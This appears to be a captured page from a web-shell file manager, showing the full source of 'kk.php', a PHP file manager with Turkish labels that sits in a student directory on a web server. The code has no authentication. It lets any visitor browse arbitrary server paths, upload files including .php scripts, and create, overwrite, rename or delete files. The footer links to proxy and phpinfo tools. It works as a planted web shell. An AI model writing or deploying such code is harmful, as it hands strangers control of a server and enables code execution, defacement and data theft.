File manager - Edit - /home/kridsana/webapp.cm.in.th/673190901/u67319090011/kk.php
Back
<?php error_reporting(E_ALL); ini_set('display_errors', 1); session_start(); define('ALLOWED_EXTENSIONS', ['jpg','jpeg','png','gif','txt','pdf','zip','php','html','css','js','json','sql']); $currentPath = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if (!$currentPath || !is_dir($currentPath)) $currentPath = getcwd(); $item = $_GET['item'] ?? null; $itemPath = $item ? $currentPath . DIRECTORY_SEPARATOR . basename($item) : null; $action = $_GET['action'] ?? null; /* ------------------ YARDIMCI FONKSİYONLAR ------------------ */ function sizeFormat($bytes) { if ($bytes >= 1048576) return round($bytes/1048576,2)." MB"; if ($bytes >= 1024) return round($bytes/1024,2)." KB"; return $bytes." B"; } function backLink($path){ echo "<a href='?path=".urlencode(dirname($path))."'>⬅️ Yukarı</a>"; } function redirect($path){ header("Location: ?path=".urlencode($path)); exit; } /* ------------------ POST İŞLEMLERİ ------------------ */ if ($_SERVER['REQUEST_METHOD'] === 'POST') { try { // DOSYA YÜKLE if (!empty($_FILES['file']['name'])) { $ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)); if (!in_array($ext, ALLOWED_EXTENSIONS)) throw new Exception("Uzantıya izin yok!"); move_uploaded_file($_FILES['file']['tmp_name'], $currentPath."/".basename($_FILES['file']['name'])); } // KLASÖR OLUŞTUR if (!empty($_POST['folder'])) { mkdir($currentPath."/".basename($_POST['folder']),0755,true); } // DOSYA OLUŞTUR if (!empty($_POST['file']) && isset($_POST['content'])) { file_put_contents( $currentPath."/".basename($_POST['file']), $_POST['content'] ); } // YENİDEN ADLANDIR if (!empty($_POST['rename']) && $itemPath) { rename($itemPath, $currentPath."/".basename($_POST['rename'])); } redirect($currentPath); } catch(Exception $e) { echo "<p style='color:red'>{$e->getMessage()}</p>"; } } /* ------------------ ACTION İŞLEMLERİ ------------------ */ if ($action && $itemPath) { if ($action === 'delete') { is_dir($itemPath) ? rmdir($itemPath) : unlink($itemPath); redirect($currentPath); } if ($action === 'edit') { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit'])) { file_put_contents($itemPath, $_POST['edit']); redirect($currentPath); } $content = htmlspecialchars(file_get_contents($itemPath)); echo "<h3>Düzenle: ".basename($itemPath)."</h3> <form method='POST'> <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>$content</textarea><br><br> <button>Kaydet</button> </form>"; backLink($currentPath); exit; } if ($action === 'rename') { echo "<h3>Yeniden Adlandır</h3> <form method='POST'> <input type='text' name='rename' value='".basename($itemPath)."' required> <button>Kaydet</button> </form>"; backLink($currentPath); exit; } } /* ------------------ ANA EKRAN ------------------ */ echo "<h2>Mevcut Konum: ".htmlspecialchars($currentPath)."</h2>"; backLink($currentPath); echo "<hr>"; $files = array_diff(scandir($currentPath),['.','..']); echo "<ul>"; foreach ($files as $f) { $full = $currentPath."/".$f; $icon = is_dir($full) ? "📂" : "📄"; echo "<li>$icon "; if (is_dir($full)) { echo "<a href='?path=".urlencode($full)."'>$f</a>"; } else { echo "<b>$f</b> (".sizeFormat(filesize($full)).")"; echo " [<a href='?path=".urlencode($currentPath)."&action=edit&item=$f'>Edit</a>]"; echo " [<a href='?path=".urlencode($currentPath)."&action=delete&item=$f'>Sil</a>]"; echo " [<a href='?path=".urlencode($currentPath)."&action=rename&item=$f'>Adlandır</a>]"; } echo "</li>"; } echo "</ul>"; echo "<hr>"; ?> <h3>Dosya Yükle</h3> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file" required> <button>Yükle</button> </form> <h3>Klasör Oluştur</h3> <form method="POST"> <input type="text" name="folder" required> <button>Oluştur</button> </form> <h3>Dosya Oluştur</h3> <form method="POST"> <input type="text" name="file" required><br><br> <textarea name="content" style="width:300px;height:80px"></textarea><br> <button>Kaydet</button> </form>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0.45 |
proxy
|
phpinfo
|
Settings